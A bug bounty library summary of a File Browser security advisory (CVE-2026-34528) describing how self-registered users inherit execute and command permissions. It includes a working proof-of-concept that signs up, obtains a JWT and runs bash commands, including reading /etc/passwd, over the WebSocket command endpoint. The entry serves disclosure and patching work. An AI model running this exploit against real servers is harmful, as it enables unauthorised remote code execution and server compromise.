# File Browser's Signup Grants Execution Permissions When Default Permissions Includes Execution

File Browser's signup handler strips only Admin from default permissions, so self-registered users inherit Execute and Commands and gain shell execution.

- Payout: Research
- Severity: high
- Program: File Browser
- Found by: offset
- Disclosed: 2026-03-31
- CVE: CVE-2026-34528
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-x8jc-jvqm-pm3f
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-x8jc-jvqm-pm3f
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:high tech:go tech:websocket technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass vuln:privilege-escalation vuln:rce

**Target:** Go web app signup handler and WebSocket command endpoint
**Root cause:** signupHandler calls Defaults.Apply(user) which copies the full permission struct including Perm.Execute and Commands, then strips only Perm.Admin, leaving execution rights inherited by unauthenticated self-registrants.
**Steps:**
1. Admin config: `Signup=true`, `EnableExec=true`, `Defaults.Perm.Execute=true`, `Defaults.Commands=["bash"]`
2. `curl -s -X POST "$TARGET/api/signup" -H "Content-Type: application/json" -d '{"username":"attacker","password":"AttackerP@ss1!"}'`
3. `curl -s -X POST "$TARGET/api/login" -H "Content-Type: application/json" -d '{"username":"attacker","password":"AttackerP@ss1!"}'` to get JWT
4. Decode JWT payload to confirm `perm.execute=true` and `commands=["bash"]`
5. `echo '{"command":"bash -c \"id && hostname && cat /etc/passwd | head -3\""}' | wscat --header "X-Auth: $TOKEN" --connect "$TARGET/api/command/" --wait 3`
**How found:** Noticed the prior Admin-only fix (commit a63573b) applied the principle that signup users shouldn't inherit privileged defaults, then code-read Defaults.Apply and signupHandler to see Execute and Commands were copied but never stripped, and traced commandsHandler/withUser to confirm the persisted values are authoritative.
**Exploitation:** Unauthenticated attacker self-registers, logs in for a JWT, then opens the /api/command/ WebSocket; withUser loads the persisted user with Execute=true and Commands=["bash"], passing both the EnableExec/Execute check and the allowlist check, so exec.Command("bash") runs arbitrary shell commands as the File Browser process.
**Escalation:** Full server compromise when the process runs as root; otherwise lateral movement and access to all process-readable files, env secrets and network interfaces.
**Insight:** When a project patches one privileged default field out of a shared 'apply defaults' copy, enumerate every other field in that struct (Execute, Commands, scope paths) and check each downstream authorization gate for the same inheritance gap.

## Proof of concept (copied exactly from the original report)

**Signup, login, and WebSocket command execution PoC**

```
TARGET="http://localhost:8080"

# Step 1: Self-register (no authentication required)
curl -s -X POST "$TARGET/api/signup" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"AttackerP@ss1!"}'
# Returns: 200 OK

# Step 2: Log in and capture token
TOKEN=$(curl -s -X POST "$TARGET/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"AttackerP@ss1!"}' | tr -d '"')

# Step 3: Inspect inherited permissions (decode JWT payload)
echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Expected output (if defaults have Execute=true, Commands=["bash"]):
# {
#   "user": {
#     "perm": { "execute": true, ... },
#     "commands": ["bash"],
#     ...
#   }
# }

# Step 4: Execute shell command via WebSocket (requires wscat: npm install -g wscat)
echo '{"command":"bash -c \"id && hostname && cat /etc/passwd | head -3\""}' | \
  wscat --header "X-Auth: $TOKEN" \
        --connect "$TARGET/api/command/" \
        --wait 3
# Expected: uid=... hostname output followed by /etc/passwd lines
```

